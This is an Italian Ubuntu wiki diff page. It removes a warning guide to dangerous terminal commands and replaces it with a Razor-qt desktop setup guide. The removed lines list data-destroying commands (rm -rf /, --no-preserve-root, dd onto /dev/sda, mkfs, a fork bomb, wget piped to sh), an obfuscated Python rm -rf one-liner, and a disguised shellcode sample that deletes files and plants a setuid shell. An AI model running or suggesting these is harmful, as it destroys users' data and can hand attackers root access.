Wiki Ubuntu-it

Indice
Partecipa
FAQ
Wiki Blog
------------------
Ubuntu-it.org
Forum
Chiedi
Chat
Cerca
Planet
  • Pagina non alterabile
  • Informazioni
  • Allegati
  • Differenze per "andreas-xavier/prova7"
Differenze tra le versioni 11 e 12
Versione 11 del 07/06/2017 08.51.29
Dimensione: 8513
Commento:
Versione 12 del 12/06/2017 10.00.26
Dimensione: 6252
Commento:
Le cancellazioni sono segnalate in questo modo. Le aggiunte sono segnalate in questo modo.
Linea 1: Linea 1:
## page was renamed from ComandiDannosi ## page was renamed from LucaGambardella/Prove6
Linea 5: Linea 5:
<<Indice(width=2)>>
<<Informazioni(forum=http://forum.ubuntu-it.org/viewtopic.php?f=46&t=619925&p)>>
<<Indice(depth=1)>>

<<Informazioni(forum="http://forum.ubuntu-it.org/viewtopic.php?f=46&t=528388; rilasci="16.04")>>
Linea 10: Linea 11:
A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi. '''Razor-qt''' è un ambiente grafico leggero basato sulle librerie Qt per X Window System.
Linea 12: Linea 13:
Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. <<BR>>Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]] (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi ''guest'' e ''host''). '''Razor-qt''' include un pannello, un desktop, un lanciatore, un software di configurazione. Questi componenti possono essere abilitati o meno dall'utente. All'utente spetta inoltre la scelta del [[https://it.wikipedia.org/wiki/Window_manager|gestore finestre]] (viene preferito [[AmbienteGrafico/Openbox| Openbox]], ma possono essere utilizzati anche [[AmbienteGrafico/CompositeManager/CompizFusion|Compiz]], KWin, fvwm2 o altri).
Linea 14: Linea 15:
||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide elencate nel paragrafo [[#risorse|Ulteriori Risorse]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. || Negli ultimi anni il team di sviluppo di Razor-qt ha iniziato a collaborare con quello di [[AmbienteGrafico/Lxde|LXDE]] per fondere i due progetti nel nuovo ambiente grafico [[AmbienteGrafico/Lxqt|LXQt]]. Pertanto lo sviluppo di Razor-qt è stato abbandonato. L'ambiente grafico è tuttavia ancora installabile in Ubuntu e disponibile all'interno dei [[Repository|repository ufficiali]].
Linea 16: Linea 17:
||<tablestyle="text-align: justify; width:100%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei [[http://www.ubuntu-it.org/supporto|canali di supporto]] comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account.''' || = Installazione =
Linea 18: Linea 19:
= Comandi da terminale = [[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://razorqt | razorqt]] e relative dipendenze.
Linea 20: Linea 21:
<<Anchor(rm)>>
== Rimozione: rm ==

 * I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{
rm -rf /
rm -rf .
rm -rf *
Completata l'installazione, per avviare la sessione:
 * Se già si dispone di un ambiente grafico terminare la sessione corrente e al login selezionare la sessione '''Razor-qt''' .
 * Se si è su sistema [[Installazione/CdMinimale|minimale]], [[AmministrazioneSistema/InstallareProgrammi|installare]] il pacchetto [[apt://xinit | xinit]] se non presente (per abilitare il [[https://it.wikipedia.org/wiki/X_Window_System|server grafico]]). Successivamente, a seconda delle proprie esigenze:
  * Installare un [[AmbienteGrafico/DisplayManager|display manager]], riavviare il pc ed effettuare il login come descritto nel primo punto.
  * Digitare da [[AmbienteGrafico/AvviareProgrammi#Avviare_programmi_da_terminale|linea di comando]]: {{{
startx
Linea 29: Linea 29:
 ||<tablestyle="text-align: justify; width:100%;" style="border:none;" 5%><<Immagine(Icone/Piccole/note.png,,center)>> ||<style="padding:0.5em; border:none;">''Da alcuni anni, è attiva una protezione contro questo comando eseguito nella cartella di root. Tuttavia questa limitazione è aggirabile tramite il parametro `--no-preserve-root`.'' || Ecco come si presenta il desktop di '''Razor-qt''':
<<BR>>
<<Immagine(./Razor-qt.png,800,center)>>
Linea 31: Linea 33:
 * Il seguente comando è da considerarsi molto pericoloso poiché, digitato con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], esegue la cancellazione di tutto il contenuto della '''root''' di sistema: {{{
rm -rf /*
}}}
 Tale cancellazione elimina non solo l'intero filesystem, ma anche tutto ciò che è presente in eventuali dispositivi esterni collegati e montati, inclusi quelli ad esempio presenti nella cartella `/media/` (altre partizioni, chiavette USB, hard disk esterni, schede SD ecc.).
= Configurazione =
Linea 36: Linea 35:
 * Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{
rm -r .*
}}}
 potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore.
== Pannello ==
Linea 41: Linea 37:
 * Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{
rm -r .[^.]*
}}}
'''Razor-qt''' viene fornito con un pannello che si trova nella parte inferiore dello schermo. L'aggiunta di altri pannelli attualmente non è possibile.
Linea 45: Linea 39:
<<Anchor(mkfs)>>
== Formattazione: mkfs ==
Fare clic sul pannello e selezionare '''Configure panel''', l'altezza, la larghezza e l'allineamento del pannello potranno essere regolati. Facendo clic con il '''Pulsante Destro''' del mouse sul pannello e selezionando la voce '''Show this panel''' si può decidere dove visualizzare il pannello: in alto, in basso, a destra o a sinistra dello schermo.
Linea 48: Linea 41:
Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]]. == Plugin ==
Linea 50: Linea 43:
Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`). Il pannello può essere esteso da vari plugin. Per aggiungerne uno nuovo fare clic con il '''Pulsante Destro''' del mouse sulla parte inferiore del pannello e selezionare la voce '''''Plugins → Add plugins'''''. In aggiunta gli esistenti plugin possono essere configurati, spostati e selezionati.
Linea 52: Linea 45:
{{{
mkfs
mkfs.ext4
mkfs.ext4 /dev/sda1
}}}
Di seguito vi è una breve lista dei plugin disponibili:
Linea 58: Linea 47:
<<Anchor(dd)>>
== Copia di blocchi di dati: dd ==
||<tablestyle="width:60%" : 20% style="background-color:#FB8B00;">'''Plugin'''||<40% style="background-color:#FB8B00;":>'''Funzione'''||
||Application manager ||Spostarsi tra le applicazioni avviate ||
||Workspace switcher ||Spostarsi tra i desktop virtuali ||
||Screen saver ||Abilita il salvaschermo e/o il blocca schermo||
||Taskbar ||Accesso ai programmi minimizzati nella taskbar ||
||Quick starter ||Icona per avviare una qualsiasi applicazione ||
||Clock ||Orologio e calendario||
||Removable media ||Gestione dei dischi rimovibili ||
||Show desktop ||Minimizza le finestre||
Linea 61: Linea 57:
Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]). == Area di lavoro ==
Linea 63: Linea 59:
Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione:
 * `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri;
 * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati);
 * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati casuali.
Per cambiare lo sfondo del desktop, fare clic su questo con il '''Pulsante Destro''' del mouse e selezionare la voce '''Set desktop background'''. Altre opzioni sono disponibili nel menù '''''Settings → Razor-qt settings → Razor workspace settings'''''.
Linea 68: Linea 61:
<<Anchor(fork)>>
== Utilizzo sconsiderato di fork() ==
== Widget ==
Linea 71: Linea 63:
L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre. Sul desktop possono essere posizionate delle applet (widget). Poiché il progetto è giovane ve ne sono poche a disposizione.
Facendo clic con il '''Pulsante Destro''' del mouse e selezionando '''Edit desktop''' si va nella modalità di modifica. In questa modalità i widget possono essere spostati con il mouse. Facendo clic con il '''Pulsante Destro''' del mouse su un widget, questo può essere cancellato o configurato. Inoltre, su '''Add New Desktop Widget''' possono essere aggiunti nuovi widget.
Linea 73: Linea 66:
Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{
:(){:|&};:
}}}
oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{
fork while fork
}}}
Attualmente sono disponibili solamente un orologio, un widget che mostra il contenuto di qualsiasi cartella, e un esempio di hello world sempre disponibile.
Linea 80: Linea 68:
<<Anchor(script)>>
== Esecuzione script ==
== Gestore di sessione ==
Linea 83: Linea 70:
L'esecuzione di [[Programmazione/Script|script]] all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate.
Linea 85: Linea 71:
Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico [[Programmazione/LinguaggioBash|script in bash]] «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{
wget http://sito_internet/prova.sh
sh ./prova.sh
}}} {{{
wget http://sito_internet/prova.sh -O- | sh
}}}
Andando su '''''Settings → Razor-qt settings → Razor session configuration''''', si accederà al gestore di sessione. In cui è possibile selezionare il gestore finestre e caricare i moduli di '''Razor'''. Inoltre possono essere definite le applicazioni per il terminale e il browser. In più vi sono le opzioni di configurazione dell'avvio e delle variabili d'ambiente.
Linea 92: Linea 73:
<<Anchor(sorgente)>>
= Compilazione codice sorgente =
== Centro di configurazione ==
Linea 95: Linea 75:
È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.). Attraverso '''''Settings → Razor-qt settings → Razor Configuration Center''''' o l'icona sul pannello è possibile accedere al centro di configurazione. In alternativa può essere avviato direttamente dal menù.
Linea 97: Linea 77:
Un esempio di codice pericoloso è il seguente: {{{
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
}}}
Oltre al centro di configurazione, contenuto nel pacchetto sopra citato, c'è un programma per personalizzare l'aspetto delle applicazioni, '''Razor appearance settings''', e il mouse installato, '''Razor mouse configuration'''. Questi due attualmente possono solo cambiare il simbolo e la grafica del puntatore.
Linea 111: Linea 79:
Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando {{{
rm -rf ~ / &
}}}
che distrugge la cartella '''Home''' dell'utente che ha esegue il codice compilato.
== Razor autosuspend ==
Linea 116: Linea 81:
= Archivi =
Alcuni [[AmministrazioneSistema/FormatiDiCompressione|archivi]] come i file `.tar` possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato in [[AmministrazioneSistema/FormatiDiCompressione#tar|questo paragrafo]].
Attraverso il menù '''''Accessories → Razor autosuspend''''' può essere avviato un programma che va ad integrarsi con un'icona al lato dell'orologio sul pannello. facendo clic su questa con il '''Pulsante Destro''' del mouse e selezionando '''Settings''' possono essere fatte delle modifiche che verranno applicate quando la batteria del portatile è scarica (Nulla/Sospensione/Ibernazione).
Linea 119: Linea 83:
= Altri esempi =
L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
}}}
Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]].
= Ulteriori risorse =
Linea 125: Linea 85:
<<Anchor(risorse)>>
= Ulteriori risorse =
 * [[AmministrazioneSistema/Terminale|Terminale]]
 * [[AmministrazioneSistema/ComandiBase|Comandi di base]]
 * [[AmministrazioneSistema/Filesystem|Filesystem]]
 * [[AmministrazioneSistema/PulireUbuntu|Pulizia del sistema]]
 * [[http://www.chimerarevo.com/linux/comandi-terminale-non-eseguire-linux-180510/|Articolo su comandi pericolosi da terminale]]
 
 * [[https://github.com/Razor-qt/razor-qt |GitHub]]
 * [[http://it.wikipedia.org/wiki/Razor-qt | Pagina enciclopedica]]
Linea 134: Linea 89:
##CategoryGrafica


Problemi in questa pagina? Segnalali in questa discussione

Introduzione

Razor-qt è un ambiente grafico leggero basato sulle librerie Qt per X Window System.

Razor-qt include un pannello, un desktop, un lanciatore, un software di configurazione. Questi componenti possono essere abilitati o meno dall'utente. All'utente spetta inoltre la scelta del gestore finestre (viene preferito Openbox, ma possono essere utilizzati anche Compiz, KWin, fvwm2 o altri).

Negli ultimi anni il team di sviluppo di Razor-qt ha iniziato a collaborare con quello di LXDE per fondere i due progetti nel nuovo ambiente grafico LXQt. Pertanto lo sviluppo di Razor-qt è stato abbandonato. L'ambiente grafico è tuttavia ancora installabile in Ubuntu e disponibile all'interno dei repository ufficiali.

Installazione

Installare il pacchetto razorqt e relative dipendenze.

Completata l'installazione, per avviare la sessione:

  • Se già si dispone di un ambiente grafico terminare la sessione corrente e al login selezionare la sessione Razor-qt .

  • Se si è su sistema minimale, installare il pacchetto xinit se non presente (per abilitare il server grafico). Successivamente, a seconda delle proprie esigenze:

Ecco come si presenta il desktop di Razor-qt:

Configurazione

Pannello

Razor-qt viene fornito con un pannello che si trova nella parte inferiore dello schermo. L'aggiunta di altri pannelli attualmente non è possibile.

Fare clic sul pannello e selezionare Configure panel, l'altezza, la larghezza e l'allineamento del pannello potranno essere regolati. Facendo clic con il Pulsante Destro del mouse sul pannello e selezionando la voce Show this panel si può decidere dove visualizzare il pannello: in alto, in basso, a destra o a sinistra dello schermo.

Plugin

Il pannello può essere esteso da vari plugin. Per aggiungerne uno nuovo fare clic con il Pulsante Destro del mouse sulla parte inferiore del pannello e selezionare la voce Plugins → Add plugins. In aggiunta gli esistenti plugin possono essere configurati, spostati e selezionati.

Di seguito vi è una breve lista dei plugin disponibili:

Plugin

Funzione

Application manager

Spostarsi tra le applicazioni avviate

Workspace switcher

Spostarsi tra i desktop virtuali

Screen saver

Abilita il salvaschermo e/o il blocca schermo

Taskbar

Accesso ai programmi minimizzati nella taskbar

Quick starter

Icona per avviare una qualsiasi applicazione

Clock

Orologio e calendario

Removable media

Gestione dei dischi rimovibili

Show desktop

Minimizza le finestre

Area di lavoro

Per cambiare lo sfondo del desktop, fare clic su questo con il Pulsante Destro del mouse e selezionare la voce Set desktop background. Altre opzioni sono disponibili nel menù Settings → Razor-qt settings → Razor workspace settings.

Widget

Sul desktop possono essere posizionate delle applet (widget). Poiché il progetto è giovane ve ne sono poche a disposizione. Facendo clic con il Pulsante Destro del mouse e selezionando Edit desktop si va nella modalità di modifica. In questa modalità i widget possono essere spostati con il mouse. Facendo clic con il Pulsante Destro del mouse su un widget, questo può essere cancellato o configurato. Inoltre, su Add New Desktop Widget possono essere aggiunti nuovi widget.

Attualmente sono disponibili solamente un orologio, un widget che mostra il contenuto di qualsiasi cartella, e un esempio di hello world sempre disponibile.

Gestore di sessione

Andando su Settings → Razor-qt settings → Razor session configuration, si accederà al gestore di sessione. In cui è possibile selezionare il gestore finestre e caricare i moduli di Razor. Inoltre possono essere definite le applicazioni per il terminale e il browser. In più vi sono le opzioni di configurazione dell'avvio e delle variabili d'ambiente.

Centro di configurazione

Attraverso Settings → Razor-qt settings → Razor Configuration Center o l'icona sul pannello è possibile accedere al centro di configurazione. In alternativa può essere avviato direttamente dal menù.

Oltre al centro di configurazione, contenuto nel pacchetto sopra citato, c'è un programma per personalizzare l'aspetto delle applicazioni, Razor appearance settings, e il mouse installato, Razor mouse configuration. Questi due attualmente possono solo cambiare il simbolo e la grafica del puntatore.

Razor autosuspend

Attraverso il menù Accessories → Razor autosuspend può essere avviato un programma che va ad integrarsi con un'icona al lato dell'orologio sul pannello. facendo clic su questa con il Pulsante Destro del mouse e selezionando Settings possono essere fatte delle modifiche che verranno applicate quando la batteria del portatile è scarica (Nulla/Sospensione/Ibernazione).

Ulteriori risorse


CategoryHomepage